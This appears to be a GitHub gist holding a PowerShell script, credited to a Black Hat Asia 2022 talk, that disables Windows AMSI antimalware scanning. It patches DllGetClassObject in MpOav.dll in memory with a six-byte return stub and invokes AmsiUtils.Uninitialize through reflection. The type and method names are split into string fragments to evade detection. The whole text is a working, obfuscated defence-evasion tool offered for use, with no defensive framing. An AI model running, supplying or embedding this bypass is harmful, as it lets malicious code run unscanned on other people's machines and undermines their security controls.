Created
September 30, 2022 21:17
-
-
Save clr2of8/d5923f38b87c9bf43550660e48a1cc8b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# source: https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf | |
# author: Maor Korkos (@maorkor) | |
$APIs = @" | |
using System; | |
using System.Runtime.InteropServices; | |
public class APIs { | |
[DllImport("kernel32")] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32")] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport("kernel32")] | |
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProtect); | |
} | |
"@ | |
Add-Type $APIs | |
$wzys = "0xB8" | |
$coxo = "0x57" | |
$hxuu = "0x00" | |
$eqhh = "0x07" | |
$paej = "0x80" | |
$ppiy = "0xC3" | |
$Patch = [Byte[]] ($wzys,$coxo,$hxuu,$eqhh,+$paej,+$ppiy) | |
$LoadLibrary = [APIs]::LoadLibrary("MpOav.dll") | |
$Address = [APIs]::GetProcAddress($LoadLibrary,"DllGetClassObject") | |
$p = 0 | |
[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p) | |
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6) | |
$object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls') | |
$Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq Uninitialize | |
$Uninitialize.Invoke($object,$null) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment